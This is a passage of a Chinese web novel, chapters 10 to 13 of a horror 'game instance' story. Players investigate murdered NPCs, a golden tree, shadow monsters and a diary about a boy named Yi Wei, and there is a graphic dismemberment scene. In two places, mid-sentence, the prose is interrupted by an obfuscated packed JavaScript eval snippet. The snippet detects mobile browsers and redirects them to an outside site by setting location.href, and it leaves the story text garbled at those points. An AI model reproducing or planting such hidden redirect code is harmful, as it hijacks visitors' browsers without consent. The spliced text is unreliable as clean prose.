001愤怒地转了两圈,“诗人在古代也被称之为模仿者,在古代的说法中:造物者创造了物,诗人无法再次创造物的理,于是只能模仿物,用虚构的笔法描摹物的真,所以我猜测,诗人的能力就是模仿。” “他的能力让他替换了副本中的主要人物,一般玩家获得npc角色一般都为不参与副本主要事件的边缘npc,而他不同,他替换了剧情预演中出现的npc,这使他在副本刚开场时就掌握了多于其他玩家的信息。” 看来,这就是孵化者的生存率远高于普通玩家的原因。 思及,桑衣的眸光闪了闪。 “等等,031,你的扮演值出现了变化!” 桑衣皱眉,操纵面板悬浮在她面前: 【玩家:桑衣】 【当前扮演值:70点,温馨提示:请谨慎观察身边的npc表现】 【目前主线任务已解锁,主线任务:《找到老陈的死因》内容缺失,进度自动跳转至45%】 面板消失,桑衣和不远处小路上一个站了很久的人对视了。 那人有一双疲惫的眼睛,头发凌乱,脸上的皱纹堆积,眼神深沉。 “刘可容?她怎么会在这里?” 文至觉终于挪着步子跟了上来,神情震惊,“老陈死后,她就把自己锁在了房间里,再也没有出来,发生了什么?” 桑衣扫了扫旁边表演痕迹极重的老头,抿着嘴没有说话,表情凝重。 10. 花园小区(三) 桑衣眼前的景象变了。 空气变得格外的黏湿,硕大的树冠投下了阴影,让此处更加的闷热,往上看的时候,隐约感觉有东西在蠕动。 桑衣的内心生出了一股安宁感——仿佛这里格外温暖安全,只需要慢慢缩起身子闭上眼,一切烦恼都会消逝。 直到眼前一阵刺痛,桑衣眨了眨眼,一瞬间,情景又变了。 盛大的金光,高得触及天空的树,地面上数不清的人们虔诚地跪坐着,头朝上仰望着,面容安详。 那是一种死寂般的安详,让人不由得发自内心地颤栗。 下一秒,异常消失了。 桑衣对上了刘可容布满红血丝的眼睛。 这个面容老态,疲惫不堪的女人缓缓抬起手,神经质地在脸上抹了抹,她用的力气很大,苍白的脸色被她擦红了。 她的身上带着浓重的血腥味,还有腐烂的泥土味道。 她的瞳孔缩得很小,并在不停地抖动着,她的呼吸也变得粗重。 她转头看向桑衣身旁的文至觉,眼神中包含了很多东西,说话时尾音上翘,带着不可置信的语气,“孩子?” 桑衣有些不理解,她看清了这个女人眼中此时蕴含的情感。 ——是恐惧。 一种压倒性的恐惧,让她控制不住地震悚,双眼不自觉地睁大。 一只手横在了桑衣面前,作为桑衣与刘可容之间的一条界限。 文至觉笑容依旧很和气,放的语气却很重,“没错,是我新带来的孩子。” 桑衣从中听到了一丝警告的意味。 闻言,刘可容仔细打量了一番桑衣的样子,她的面色变得更加苍白,她的手颤抖着,忍不住用指甲抓挠着脸, 文至觉:“可容啊,你的孩子呢?” ——没被好好修剪的指甲深陷进了肉里,划出了一道道血痕。 桑衣不解地看向文至觉,不是很明白他现在刻意刺激npc的用意。 刘可容:“我的孩子……?” “那不是我的……他不是我的孩子!” 她的声音猛然变得尖利起来,整个人都陷入了回忆中,血液从她的脸上流淌下来。 桑衣往后不着痕迹地退了几步,紧张观察着这个年迈女人的动作。 奇怪的是,刘可容激烈的情绪突然在一瞬间抽离了,她捂住自己的脸,深呼吸了好多次,再移开了手。 她好像在一瞬间恢复了理智。 她的眼神变得格外冰冷,在文至觉的身上停留了很久。 “你记错了,文先生,我没有孩子。” 说完,刘可容就绕过了他们俩,朝家里走去。 桑衣再查看自己的扮演值时,发现点数已经降到了65点。 等等,扮演值? 她突然看向身旁神色叵测的文至觉,“你的扮演值是多少?” 文至觉转着眼珠,僵硬地看向她,嘴角勾起了一个微笑,“79点。” 79点?! 临近同化的80点危险值仅剩下1点。 桑衣:“刚刚的那句话,是你主动说的吗?” 文至觉低下了眼,语气轻飘飘的,“不知道呢。” 趁着老头低头的功夫,桑衣快速地远离了他。 等老头再抬头,只看见桑衣一个人走得飞快的背影。 文至觉:诶?!诶!!! …… 另一边。 将禾察看了系统面板,发现主线任务已经悄悄爬到了46%的进度上。 她从繁密的草丛中走出。 藏身在草丛里的时候,将禾感受到了一股诡异的潮湿与闷热缠绕的感觉。 这种感觉如触手一般缓缓爬上了她的全身,甚至要盖住她的口鼻。 她将下唇咬破,疼痛带来的清醒感勉强维持着,直到危险解除。 想到刚才她和李将星目睹的画面,将禾有些焦虑地皱紧了眉。 “他们……npc在自相残杀?怎么可能?”李将星跟了上来,忍不住咳嗽了几声,眼神中带着几分惊恐。 将禾没有回答她,李将星低声喃喃着,“这就是异常副本吗?这就是他们……死掉的原因吗?” 将禾回头看了她一眼,语气冷静,“先看看尸体怎么回事。” 两人回到了之前遇到男孩的地方,那棵巨树脚下,此时横着两个尸体。 一个面目腐烂,只剩下一颗头颅。 一个脖颈中带着磨烂的尖锐伤口,同样只剩下一颗头颅,血迹蔓延——遍布了这一整块的土地。 令人不寒而栗的是,李将星感觉这块土地在缓慢地蠕动。 似乎在一口一口、贪婪吞食着尸体流出的血。 李将星的视线有些模糊,腥臭的泥土中,似乎有几根须状的物体探了出来。 “别看了。”将禾冷声道。 李将星回过神,她眨了眨眼睛,有些难堪地抿了抿嘴,随后主动蹲下了身,近距离观察脚下的那两颗头颅。 其中一颗,是死亡多日,被儿子亲手挖出来的老陈。 而另一颗,棕黑色的发丝被血液浸透,一缕一缕地打结,表情异常地愤怒,灰色的瞳孔圆睁,嘴巴大张—— 是老张的儿子,那个她们不知道姓名的,同为志愿者的男孩。 一刻钟前,巨树脚下。 男孩语气淡漠地说着“人类是生态的垃圾”后,系统提示音响起了。 【玩家将禾/李将星,您已获得线索碎片,扮演值增加两点。】 就在李将星紧张不安,试图揣摩男孩话中的意味时,时刻警惕着的将禾突然察觉到,她们身后远处出现了两个身影。 眼看着即将被三个npc包围,将禾神情凝重,冒着扮演值降低的风险,拉着李将星往树丛中跑去。 【检测到「ooc」行为,扮演值下降,线索中断。】 万幸的是,那两个新出现的npc的注意力并不在她们二人身上,而在那个站在树下的男孩身上。 而先前盯着将禾的男孩,他的视线像看灰尘一样,先是从将禾的身上移走,然后懒懒掀着眼皮,不耐地看向那两个npc,灰色的瞳孔颜色很淡,姿态很是居高临下。 将禾和李将星查看了自己的扮演值,已然掉到了60点的正常标准之下,明明是足以引起npc注意的状态,此刻在场却没有npc将目光投向玩家。 将禾犹豫了一会,做了一个大胆的决定。 她带着李将星,偷偷潜行至npc所看不见的死角里,紧张的呼吸声中,她们窥视着被两个老人包围住的男孩。 她们看见男孩张嘴说了几句话。 没等男孩说完,其中一个年迈的女人竟从怀中拿出了一把菜刀,一声不吭地朝男孩脖颈处砍去。 血液喷溅而出。 另外一个女人沉默地旁观着眼前的一幕,男孩捂着脖颈坐在地上,面上没有慌张,也没有恐惧。 他平静的外壳裂开了,流露出仿佛被人所冒犯的愤怒情绪。 拿着菜刀的女人继续弯下腰,动作利落地把男孩的手脚砍去,另一个女人则在旁摁住尸体,将身体剁成一块块肉块后,装在黑色的塑料袋里。 【重要npc死亡,警告,重要npc死亡。】 【主线部分探索暂时缺失,当前主线进度已进展至45%】 李将星惊恐地后退,将禾急忙捂住了她的嘴。 做完这些,两人又将那具被挖出的尸体逐一分尸,过程中冷静理智,动作有条不紊。 菜刀剁在骨头上的声响很大,不止的蝉鸣声夹杂其中。 这群仅存几个月生命的生物,躲在茂盛的树荫之中。 旁观 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——有人在唱歌。 人们在合唱着某个歌谣。 人们跪坐在地上,濡慕地抬起头,瞳孔中倒映着金色的树冠。 人们张开嘴,双手合十,上半身左右摇摆着。 人们在树下相拥着,憧憬地展望着,金色的树丛遮蔽了天空。 人们情不自禁地歌唱着: “我们正在驶向——新的港湾。” 人们闭上了双眼: “我们正在走向——新的纪元。” “烧吧,烧吧,短命之烛。” “苦痛即将消逝,苦痛即将远去——” “新的世界——新的家园。” 新的……世界? 将禾猛地睁开了眼,眼前一片红色,系统的光屏面板在紧急地闪烁,发出警报声。 【警告!警告!您的心之壁正在遭受侵蚀!】 【请保持清醒!请勿迷失!!!】 金色消失了,将禾死死捂住了李将星无意识低声附和着的嘴。 直到李将星在窒息中无意识地挣扎,然后突然睁开眼,大动作地喘息了一声。 “……!” 树下的女人已经走了,将禾打开面板,看着如火箭般跳转的主线进度。 李将星:“刚才那是什么?” 将禾:“是扮演值急剧上升的负面作用,剧情碎片强制入侵,副本对我们的影响越来越大了。” 李将星默默低下了头,“你又救了我。” 将禾多看了她一眼,“你对副本剧情的感知度非常高,扮演值也升得更快,很容易陷入危险。” “不过……也有好处。” 将禾补上了这句话,“你可以更快地接触线索,跟我来。” 李将星仰视着将禾走出草丛的背影,牙关咬得很紧。 她不停地喘气,试图清醒地回想起剧情碎片里的内容。 要赶紧推进主线任务进度,找到能够杀死npc的线索。 时间不多了,再拖一会,公司就会找上她,强制清除她脑中关于家人的记忆。 李将星还记得姐姐跟她说的话。 她记得很清楚,姐姐曾和她提起过很多次将禾的名字。 “将禾啊……是一个心软又嘴硬的女人,”姐姐的声音很亮,像地下室通风口微微透进来的光。 “如果遇到困难了,你就——死皮赖脸地跟到她屁股后面!” 她那时只是懵懂地抬起头。 李将星没有想到会在论坛中遇见姐姐口中提到的人。 或许这是一个很好的机会,是一个上天赐给她的,珍贵的机会。 11. 花园小区(四) 黑暗,潮湿,温暖…… 追溯这些感官感受的源头,其实真正来自于人类大脑中储存的原初记忆。 基于羊水经验,人类对子宫记忆的保留,使他们无限贪恋于这些感受。 婴儿在狭窄黑暗的子宫中蜷缩着,与外部的真实景象相隔一层皮肉。 在子宫中的婴儿没有视力,发育完全的眼珠又蒙上了一层薄薄的眼皮,这使他们距离真实又多了一层界限。 睡梦中的婴儿用耳朵窥听着界限外的声音,徜徉在温暖的羊水里,耳朵实在也不能描述完全。 直到“啵”的一声,羊水破裂了。 温暖褪去了,婴儿慌张地摸索,感受到光亮的逼近。 于是不停地挣扎,然后在光亮出现的那一刻,无助地放声啼哭。 ——! 一双灰色的眼睛睁开了眼。 伊维的眼睛缓慢地眨了一下,原本没有聚焦的灰色眼眸突然出现了一点瞳孔,他的胸腔剧烈颤动了一下,一个深呼吸后,他开始轻微地喘着气。 他面无表情,双手抬起,覆盖住自己的脖颈。 伊维的嘴角抽搐了一下,面部的肌肉紧张地鼓动。 半晌,他站起身,拿起有人预备在旁的毛巾,盖上了湿润的棕黑色头发。 这里是藏于地下的某个空间,大树的根系将这里包围,黑色的胶质流动液体遍布,这里被人工安装了电灯,白炽灯下,那宛如正在活动黑色液体在吞吐之后,速度很慢地缩回了树根,钻了进去。 …… 树下。 李将星蹲下观察着两颗头颅,心中疑惑更甚。 为什么只留下了头? 她们甚至有恃无恐、将沾染血迹的外套随意扔到了一旁。 居民们把老陈的尸体埋得特别浅,土层只被刨开了浅浅一层,埋藏、刨出的痕迹都十分随意。 毫无预兆的,一道声音突然在李将星和将禾的背后响起。 “是孩子啊。” 李将星骤然睁大了眼睛,她的身体紧绷着。 一只手覆上了她的肩头,李将星朝手的主人看去。 是将禾,她朝李将星摇了摇头。 将禾在安抚队友的同时低眉思考着,眼神理智地近乎异常。 她方才明明全程警惕着。 不可能听不见一丝的脚步声,直到对方出声她们方才惊觉。 “你们在这做什么呢?” 那道声音的主人继续道。 将禾转过身,对上一张陌生的年迈的面容,神情温和。 是新出现的npc。 她往外迈开了一小步,身后的血腥景象展现了一角,将禾仔细观察着老人的表情——没有发生任何变化。 “没什么。”将禾回答道。 老人含笑着,视线转向蹲在地上的李将星,沉吟了一会,“……嗯,孩子是贪玩一些。” 他向二人招了招手,示意她们跟上,“快天黑了,跟我来吧。” 老人走向了石板路的深处。 将禾和李将星对视一眼,沉默跟上。 途中,将禾不忘打开面板,她和李将星的心茧绑定,目前的面板相互可见: 【玩家:将禾/李将星】 【当前扮演值:69点,温馨提示:请谨慎观察身边的npc表现】 【目前主线任务已解锁,主线任务:《找到老陈的死因》内容缺失,进度自动跳转至46%】 慢悠悠的三道脚步声中,老人突然又提起话头,“认得到我是谁么?” 一瞬的寂静。 李将星拉住了将禾的衣角,主动接住了npc的对话,“不认得了。” 老人原先放在将禾身上的视线转移了,他凝视着李将星苍白的脸庞和那双黑亮的眼睛,疑惑地提起了眉。 “……” 空气凝滞了几秒钟。 “哦对、对。孩子嘛。” 老人终于再次开口。 他翻着眼睛,回忆起了什么,释然地点了点头,“叫我何爷爷就行。” “何……” 李将星刚要开口,将禾突然紧紧掐住了她的手腕,感受到手腕上清晰的疼痛,李将星立刻止住了话头。 将禾看着眼前面板上李将星新增的那一点扮演值,冷声问: “你要带我们去哪?” 老人的态度没有任何变化,只是机械地重复着之前的话,“快天黑了。” 蝉鸣的声响更大了,仅有的光亮逐渐被一点点吞噬,那股潮湿的触感好像又爬上了肌肤。 将禾和李将星看见前方隐隐有一道更强烈、更盛大的光晕。 一种金色的光晕。 像是什么东西在逐渐苏醒。 这道光越来越大,越来越亮,逐渐笼罩了这个地方。 【当前主线已解锁至49%。】 将禾身旁的李将星突然开始发抖。 【玩家李将星,您当前的扮演值为:70点。】 【……】 系统提示声在她脑海中响起,后面的内容她已经听不清了。 她的瞳孔睁大,呆呆地注视着着老人的背影。 只见前方的老人突然停住了脚步,他的身下凝出了一道黑色的影子。 这道影子不断地扩张、膨胀,在原有的基础上鼓动隆起,伴随着“啧啧”的黏腻声。 影子像恶化的肿瘤一般,变得肥大且累赘。 连续“啵”的几声—— 生长在影子中的数个球状肿瘤睁开了眼睛。 【警告!警告!玩家李将星,您当前的扮演值上涨速度异常!】 【您当前的扮演值已增长至75点,请警惕周围环境,避免迷失!】 恍惚中,李将星听到了隐约的歌声。 她不自觉想张开嘴附和。 没等她发出声音,她的手臂就被人猛地一拽,突然的动作让李将星踉跄了一下。 是将禾。 李将星尚存一丝清明的眼中倒映出将禾的面容—— 将禾紧皱着眉头,语速很快:“李将星,现在听我说,一定要记住你的名字。” “你现在身处在一个游戏中,你是一个正常的人类,你怀有正常人类所有的意识能力,你的身体很正常,你的影子里没有多余的东西。” “听见了吗!李将星!” 【警告!玩家将禾,有npc注意到了你的「ooc」行为。】 【为了您的生命安全,请及时停止异常的扮演行为。】 将禾没有理会持续下跌的扮演值,她的呼吸专注,眼神冷静。 金光愈盛,老人的影子被拉长。 数双眼珠好奇地,兴奋地朝她看过来。 李将星仍然没有反应,她的眼神逐渐变得无神。 将禾叹了一口气,她看着进度截止在49%的主线任务,眼光微动,将手放在了衣服外套的口袋中。 还没等她动作,一道熟悉的声音突然在身后响起。 “老何啊,你在干什么呢?” 文至觉背着一只手,拿着一盏提灯。 他的声音低沉,表情是少见的严肃。 而桑衣站在他的身后,眼神平静,朝这边看过来。 “031!!快阻止她们的极端行为!扮演值一直处于极值只会快速推进副本进度,所有重要线索都会丢失!” 001:啊啊啊你们这群人类真是疯了啊啊啊啊! 桑衣面无表情,将眼神转向了另一边。 球形机器人又飞到另一边,屏幕上的表情焦急,依旧大叫着。 桑衣:…… 桑衣眼神飘向身旁的文至觉——不是有人阻止了吗? 001:“他现在的扮演值肯定又上涨了!你忘记之前他差点进入同化状态的样子了吗?!” 001的话刚说完,文至觉就又向前迈了一步,警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407896|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告道:“老何,这些孩子现在归我管理。” 站立于庞大黑影中的老人终于有了反应,语气很疑惑: “文先生?” “天……黑了,孩子们应该回去睡觉。” 文至觉:“我会带他们回去。” “啊……好。” 老何点了点头,“那我先回家了,您辛苦了,文先生。” 看着老何佝偻的身影逐渐在道路尽头消失,文至觉的神情终于微微放松了一些。 他下意识看向身旁的桑衣,却发现身边早就空了。 文志觉:…… 他无奈地抽了抽嘴角,看向躲他躲得远远的桑衣,语气有些虚弱:“你又躲那么远干嘛。” 桑衣:“因为你现在很危险。” 桑衣看向身旁的将禾和李将星,淡淡说道:“又见面了。你们没事吧。” 将禾扶住即将晕倒的李将星,动作很轻地坐下,然后朝桑衣点了点头。 “喂!我救的人!!” 桑衣没有理会另一边暴怒的老头,简单明了地问道: “你们为什么要杀npc?” 将禾愣住了,文至觉也闭上了骂骂咧咧的嘴,静静等待着将禾的回答。 将禾沉默,斟酌了一会,她先看向了文至觉。 “你果然是玩家。” 文至觉但笑不语。 将禾没兴趣再探究文至觉的身份,她直直看着桑衣,说道:“我可以告诉你们事情的经过,作为交换,你们需要把获得的线索告诉我。” 桑衣点了点头。 说话间,昏迷的李将星动了动,惨白的面容终于有了生气,缓缓苏醒了过来。 遭受了巨大的精神冲击,李将星神色恍惚,有些没搞清楚当前的状况。 将禾低头看向她,松开了一直扶住她的手,向桑衣解释道:“我们的目的的确是杀光npc、扫清异常副本。但是已死的npc不是我们杀的。” 将禾将先前所见的事一并托出。 巨量的信息让在场的所有人都陷入了沉思。 听到将禾口中那两个年老的女人时,文至觉了然,他摸了摸下巴,“没猜错的话,那个拿着刀的女人就是死去老陈的妻子——刘可容。而另一个,就是拎着尸块的王问寻了。” 说完,文至觉笑着,咬牙切齿地看向桑衣,“原来你们不是一伙的啊。” 将禾:“” 李将星:“” 两人齐齐看向桑衣。 桑衣平静道:“他喜欢重复一些显而易见的事实。” 两人了然。 文至觉:…… 将禾眼神略有缓和,她对文至觉道:“你应该知道一些更安全的地方,带我们去。” 文至觉反问道:“为什么要带你们去?我已经帮过你们一次了。” 将禾:“这是异常副本,不杀光npc我们都出不去。你早就知道这点。” “哦?我更想知道的是,既然是异常副本,为什么要冒险带着一个不相识的临时队友来闯?”文至觉看着关系明显不熟悉的两人,好奇地问道。 “这不关你事!” 出乎意料地,跟在将禾身后的李将星开了口,她咬着唇,手臂挡在了将禾的身前。 将禾直勾勾地盯住了身前那只瘦弱的手臂,没有说话。 “好吧。”文至觉失望地摆摆手,“跟我来吧。” 三人跟着文至觉往回走,而桑衣走在最后面。 桑衣看向前方跟在将禾身后的李将星,脑海中浮现了这个女孩方才从昏迷中睁开眼时眼中一掠而过的金光。 花园小区。 她反复咀嚼着这四个字眼。 桑衣熟练地捂住了耳朵。 “0!3!1!你当初为什么要执意选这个副本!你是不是早就知道这是异常副本!你隐瞒了我什么!” 球形机器人变成了喇叭,生气地在桑衣身边乱转。 12. 花园小区(五) 捂着耳朵没用,机械音还是会从脑子中蹦出来,吵得桑衣的脑子整个嗡嗡叫。 桑衣皱起眉头,打开系统面板,思索身边这个乱飞的小机器人的音量键在哪里。 小机器人看出了她的意图。 001:“没用的!没用!只要我还在你的心茧空间里,你就一直听得见我说话!” 小机器人生气地叉着腰,气势汹汹:“031,我可是你的陪伴AI!你怎么能瞒着我呢!” 桑衣眼睛不经意地往别处瞟着,没有吭声。 001:“不过,异常副本的极端环境对你也有好处,说不定可以激发你的潜能呢?” 小机器人自顾自分析道:“不过我很好奇,杀光npc就能得到巨量资源,到底是怎么回事?” 001伸出两条细细的机械臂,戳了戳桑衣的脸。 “喂,孵化者031,你有什么头绪吗?” 孵化者031没有透露一句话给机器人001。 机器人001生起了闷气,终于不说话了。 不远处掩埋在绿色树丛的楼房亮着灯,暖黄的灯光散发着温馨的光晕,石板路旁的路灯也团着小小的光。蝉鸣的夜晚,桑衣的目光落在了路灯的灯下。 她突然发现了一个被她忽略的异常,尽管掩藏在众多异常之中微乎其微。 灯下没有虫子。 这个绿植茂盛的地方,除了不停鸣叫的蝉,竟然没有其他虫类生物。 走在前方的将禾注意到了桑衣停在某处的视线,她顺着视线看去,疑惑地挑了挑眉。 “这里的树木都异常地巨大,就算是副本原型中心三区,也少有这么大的树木。”李将星忍不住道。 文至觉解释道:“一般的副本场景不会如此异常,而异常副本经过了长时间的封闭,某些副本元素也随之异化了。” 李将星:“这不就意味着,副本环境中的异常元素和副本重要剧情有关?” 文至觉点了点头,“顺着异化事物的线索,或许能找到支撑整个副本运行的锚点。” 李将星若有所思。 将禾全程抱胸,旁听着文至觉“好心”的讲解,当听到“锚点”一词时,她顿了顿。 将禾:“锚点涉及核心剧情,很危险,我们不会去找。” 这话是说给李将星听的,她下意识听话地点了点头。 文至觉闻言,嘴角勾起,他走到了楼房一楼的卷帘门前,从兜里掏出了一大串钥匙,左手提着提灯,老眼昏花地找着配对的钥匙。 桑衣好奇地凑过去。 将禾无语地站在一旁,她身旁的李将星不忍心,帮着文至觉数着钥匙。 李将星:“钥匙长什么样?” 文至觉心虚地没有说话,他快速地从一摞钥匙串中挑出了一把,往锁头插去。 李将星耷拉下了脸,桑衣的眼睛弯了弯。 出乎意料的,锁被解开了,李将星有些惊讶,而桑衣在一旁不为所动。 她看着神态自若的文至觉,问小机器人:“他似乎拥有捏造微小事物的能力?” 本闹着别扭的小机器人瞬间被点燃了好奇心,凑近观察了一下文至觉手中的钥匙。 001:“看起来就是普通的钥匙嘛。” 卷帘门终于被打开,里面的感应灯自动亮起,这里的空间不算大,可以说是一个小茶室,木头制的小茶桌,几把供人坐下的椅子,值得注意的是,正对的墙面前放了一个置书架,上面摆满了本子。 将禾率先走进,直直来到书架前,随手拿了一本翻阅。 李将星立刻跟了上去,也抽出了一本。 文至觉见状,只是悠哉地坐在茶桌前,给热水壶插上了电,将茶桌下的茶包取了出来,慢悠悠地开始泡茶。 桑衣看了看书架,又看了看茶桌,然后走向了书架,她端详着眼前陈列的记事本,目光落在了其中一本书脊上的手写字上。 上面写着:花园小区日常事务本 热水壶发出尖锐的叫声,桑衣瞟了一眼手忙脚乱的文至觉。 文至觉捕捉到了她的眼神,对她笑了笑,一手拔掉了电线,一手将水壶中的开水直接倒进了茶杯中。 茶杯中甚至没有放茶叶。 桑衣没有再理,翻开了那本记事本。 [2月13日,星期一,今天下雨了。 花园小区今天无事发生。] 后面几页都是类似的内容,桑衣翻得很快,直到一个新的字眼出现。 [3月10日,星期一,今天出太阳。 白天无事,晚上有事。 老陈找上我,问我有没有看见孩子,我说没有,小区里的孩子特别少,每个面孔我都很熟悉,孩子们平常日落之后就回去休息了。 老陈握住了我的手,眼睛很亮,羡慕地跟我说,他今天看见了一个孩子,样子很好看,年轻,又有生命力。 他说:他和妻子攒了大半辈子的积蓄,终于能够要个孩子了。 我看着老陈,心里是说不出的滋味。 老陈是个老实人,我想。] [3月11日。 老陈又来找我打听孩子的事,我让他不要急,这事得先排队。 老陈很失望,叹气着走了。] [3月12日,老陈又来了。] [3月13日,我把老陈打发走了。] 见桑衣的翻页速度变慢,将禾和李将星也放下了手中毫无线索的本子,朝桑衣看来。 桑衣翻开了下一页。 [3月14日,老陈没来,来的是他妻子。 她跟我道歉,说这几天麻烦我了,我说不麻烦,要孩子这事,他们等了大半辈子,现在眼看有着落了,确实得急。 我说可容啊,再耐心等等吧。] 接下来的几天依旧是无意义的流水账,直到十几日后,老陈的事情终于有了进展。 [3月28日,上面的意思下来了。我喝了很多杯茶,心里想着,花园小区终于有新孩子了。 而我也已经125岁了。 我把这个消息告诉了老陈和可容,他们特别惊喜,两个人忍不住流下了眼泪。 我看着他们高兴的样子,心里也不禁高兴起来。 我已经125岁了。] 桑衣的手停顿,视线凝在“125”这个数字上,隐约感到奇怪。 将禾:“他快死了。” “什么?”桑衣看向将禾。 将禾朝桑衣点了点头,说道:“根据新历100年「世界存续公司」颁布的世纪报表,新世界的人均寿命已经增长至125岁左右。” 将禾指了指文至觉,重复道:“他,快要死了。” “咳咳咳!” 文至觉不知是被茶还是什么的呛到了,重重地咳嗽了几声,急忙道:“严谨地来说,是我这个角色快要死了。” 听见“死”这个字眼不断被重复,李将星不自觉地咬住了唇。 桑衣的眼睛瞪得有点大,她愣了一会儿,才继续往下翻: [……] [4月1日,星期二,天气很好。 老陈和可容带着孩子回来了。 孩子有一头棕黑色的头发,和一双灰色的眼睛。 我看着老陈,他神情恍惚,好像回想起了什么。 不要多想了,老陈。 不要再想。] [4月1日,晚上。] 日记中的一天被分成了两页,桑衣凝神,这天绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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001:“031,你的扮演值点突然上涨了,怎么回事?!” 桑衣:“我确认了一件事情。” “我执意选择这个副本的原因,是因为我当时猜测,这可能是我的孵化副本。” 001:!!! 将禾发觉了桑衣突然停顿的异样,多看了那页笔记两眼,默默在心中记了下来。 文至觉见众人又把注意力放在记事本上,也悄咪咪地靠了过来。 桑衣面无表情地翻开下一页,纸面上留下了紧握的痕迹。 [4月5日,刘可容把孩子杀了。] 三人冰冷的目光看向文至觉。 文至觉摆起手,无辜道:“别看我,我不知道啊,”他指了指记事本,“后面可是还有呢。” [晚上,我把孩子接了回来。孩子的影子少了一块。] 【玩家桑衣、文至觉、将禾、李将星获得重要剧情线索,主线任务进度已突破至50%。】 【请注意,您的扮演值急速上涨。】 【玩家桑衣,您当前的扮演值为75点。】 【玩家将禾/李将星,您当前的扮演值为70点。】 【玩家文至觉,您当前的扮演值为79点。】 【温馨提示,请遵守角色行为轨迹,避免引起npc注意。】 “文至觉,”桑衣喊了一声,“那个死掉孩子的名字叫什么?” 没等文至觉回答,敞开的休息室外,一个人缓缓走来。 那人有着棕黑色的头发,还有灰色的眼睛。 “伊维。” 文至觉回答了桑衣的话,“他的名字叫伊维。” 13. 花园小区(六) 浓稠夜色中,花园小区3单元6楼,那道年迈的身影再次站在禁闭的门外,锲而不舍地敲着门。 “叩…叩…叩…” 敲门声在安静的楼房中不停地回荡。 “吱呀”一声,门被打开了,一个年迈的女人站在门前,眼神很冰冷。 她凝视了那人的面容很久,举起自己沾满血迹的手,有些神经质地说: “我以为砍掉你的手和脚,你就不能爬上来了。” 老陈,全名叫作陈清淮,弯着一双蓄满怀念的眼睛,乞求道:“可容,我回家了,让我进去吧。” 陈清淮:“我和孩子,都很想你。” …… 茶室外,伊维视线直直看向文至觉,皱起了眉头。 室内温暖的光线照在男孩的身上,为他铺陈了一道长长的影子。 “滴答”一声,是水滴打在地面上的声音。 下雨了。 雨水淅淅沥沥地下了起来,不一会儿,就在地上积起了一个个小水洼,在路灯微弱的光线下,倒映着油腻的水光。 数个小水洼中出现了棕黑发男孩的身影。 “咕叽”“咕叽”—— 一连串令人不适的相互挤压的声响,好像有物体扯开了外面一层膜,兴奋地探出头。 男孩的影子,好像在生长。 伊维的视线在李将星和将禾的身上停留了一会,然后又看向桑衣,他疑惑地问道:“你们,怎么不回去?” “入夜了,为什么不回去?” 一瞬间,黑影滋生疯长。 桑衣手中的记事本“啪”一声掉落在了地上。 [4月6日,蝉一直叫着,我很喜欢蝉这个生物,它们在沉闷潮湿的地底栖身接近一生的时间。 它们囚于地底,直到摸到死亡的边界,才破土而出。 漫长的等待,褪去无用的骨骼,在崭新的世界忘我地鸣唱。 因此我想,死亡并不是人类的终点。 在这里,蝉能永远鸣叫。] 桑衣愣愣地往下看,那一页的字迹在她眼里变得模糊,那句“蝉能永远鸣叫”深深地刻入了她的脑海里,她隐约觉得这句话跟某个十分重要的事情关联紧密,就像一团乱麻中的一点,一个能把所有事情都理清楚的点。 “把灯关了!” 将禾将唇瓣咬出了血,向距离电源开关更近的李将星大喊道,“光源越强,他身下的影子生长得越快!” 李将星反应过来,急忙向身旁的开关扑了过去。 ——! 室内的光源灭了,只剩下室外路灯的光晕。 伊维歪了歪脑袋,暖黄色的光晕撒在他苍白的脸侧,他灰色的眼珠转了转。 “好黑啊。” 他喃喃道,皱起了眉头。 他想起了一些糟糕的事情,有些不满地说道:“我不怎么喜欢黑。” 【玩家将禾/李将星,您的扮演值已降至65点。】 冷,好冷。 桑衣感觉自己的身体在忍不住地发抖,连呼出的空气都被凝结成了冰冷的水汽,她双手环抱着自己,渴望能有一个温暖的光源,能让自己的身体暖和起来。 一股恐惧的种子在她的心脏中萌芽,被此刻黑暗的环境滋养着抽条生枝,她的心脏被撕扯开,绕着她的气管蜿蜒而上,爬上了她的喉咙。 她不断地重重吐着气,破碎的气声在狭小的空间内回荡。 她隐约间,听见有人在叫她的名字。 “桑……桑……衣!你……状态……危险!” 桑衣的睫毛颤抖着,她的思维都被渐渐地冻结了,恍惚中,她变得有些困倦。 昏昏沉沉中,桑衣闭上了眼。 …… 她感觉有一道冰冷的光线在她的眼皮之外流连。 桑衣睁开眼,面前是一个足以将她全身照映出的巨大镜面。 镜面的弧度划出一道冷光。 桑衣看着镜中的自己,镜中的自己也看着桑衣。 桑衣眨了眨眼,镜中的自己也跟着眨了眨眼。 空寂的空间里,一道声音突然在耳边响起,桑衣往右看去,望进了一双浓黑色的眼睛。 “你想起我了吗?桑衣。” 那人站在镜子旁,眉眼很清晰。念到她的名字时,吐字很轻,嘴角会稍微往上弯。 见桑衣不解地看着他,那人的眉眼又柔和了几分,眼神含着乞求之意。 桑衣摇了摇头,问道:“我现在怎么了?” 男人抿了抿唇,眼神暗了一些,回答道:“你在做梦,桑衣。” “梦是一种特殊的回忆,人们能在回忆中获得一定程度的自由,因为只有在回忆中,你能拥有构建的能力。” 话音落下,镜面消失了,男人的身影也随之不见。 整个空间以桑衣为中心,泛起了阵阵涟漪。 桑衣感受到一股强烈的光线,她抬头望去,一株盛大的金色的树出现在她眼前,树上结成成串的花,随风摇曳时,金色的花瓣会像雨一样飘散下来。 桑衣静静望着这棵树。 她发现这次,自己没有受到它的影响。 桑衣抬起了双臂,张开手,伸出手指,双眼微眯,将眼前的巨树框在了手中。 